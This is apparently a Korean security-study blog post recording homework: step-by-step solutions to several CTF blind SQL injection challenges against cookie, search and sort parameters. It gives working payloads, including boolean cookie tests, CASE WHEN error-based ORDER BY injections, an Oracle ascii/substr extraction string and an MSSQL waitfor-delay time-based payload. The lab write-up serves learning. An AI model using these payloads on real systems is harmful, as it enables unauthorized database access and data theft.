
2달차 4주차 과제는 다음 4가지와 같다.
- 수업 내용 정리
- SQL Injection 공격 기법 정리
- CTF 문제 풀이 (SQLi : Advanced)
- SQL 쿼리 의미 생각해보기
- sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)
- page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=
1, 2번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 3번 과제부터 정리하였다.
| (1) 주어진 문제는 다음과 같다. |
|---|
![]() |
| (2) 로그인 → 마이페이지 |
|---|
![]() |
| (3) 쿠키값을 통해 데이터 출력 |
|---|
![]() |
| (4) SQL 질의문 추측 |
|---|
| select (컬럼) from (테이블) where user_id = '쿠키값' |
| (5) SQL 질의문 삽입 가능 여부 확인 |
|---|
![]() |
| ○ Cookie : user = ttest' and '1'='1 |
| (6) 참/거짓 조건 실행결과 확인 |
|---|
![]() |
![]() |
| ○ 참/거짓 조건에 따라 유저 정보 출력 여부가 차이남 |
| (7) 파이썬 스크립트 실행 |
|---|
![]() |
| (1) 주어진 문제는 다음과 같다. |
|---|
![]() |
| (2) 로그인 → 게시판 → 게시글 검색 |
|---|
![]() |
![]() |
| (3) SQL 질의문 추측 |
|---|
| select (컬럼) from (테이블) where option_val like '%board_result%' |
| (4) SQL 질의문 삽입 가능 여부 확인 |
|---|
![]() |
| ○ option_val : 1=1 and username |
| (5) 참/거짓 조건 실행 결과 확인 |
|---|
![]() |
![]() |
| (6) 파이썬 스크립트 실행 |
|---|
![]() |
| (1) 주어진 문제는 다음과 같다. |
|---|
![]() |
| (2) 로그인 → 게시글 → 게시글 검색 |
|---|
![]() |
![]() |
| (3) SQL 질의문 추측 |
|---|
| select (컬럼) from (테이블) where option_val like '%board_result%' order by sort |
| (4) SQL 쿼리문 삽입 가능 여부 확인 |
|---|
![]() |
| ○ sort : case when (1=1) then 1 else (select 1 union select 2) end |
| (5) 참/거짓 조건 실행 결과 확인 |
|---|
![]() |
![]() |
| (6) 파이썬 스크립트 실행 |
|---|
![]() |
| (1) 주어진 문제는 다음과 같다. |
|---|
![]() |
| (2) 로그인 → 마이페이지 |
|---|
![]() |
| (3) 쿠키값을 통해 데이터 출력 |
|---|
![]() |
| (4) SQL 질의문 추측 |
|---|
| select (컬럼) from (테이블) where user_id = '쿠키값' |
| (5) SQL 질의문 삽입 가능 여부 확인 |
|---|
![]() |
![]() |
| ○ Cookie : user = ttest' and '1'='1 / ttest' and '1'='2 |
| ● 참/거짓 조건으로 실행한 결과가 동일 |
| (6) 참/거짓 조건의 실행 결과에 따라 에러가 발생하도록 유도 |
|---|
![]() |
![]() |
| ○ Cookie : user=ttest'and (select 1 union select 2 where (1=1)) and'1'='1 |
| ● 참 조건일때 행렬이 되어 오류 발생, 거짓 조건일때 select 1이 되어 개인정보 출력 |
| (7) 파이썬 스크립트 실행 |
|---|
![]() |
'CTF 문제풀이' 과제 완료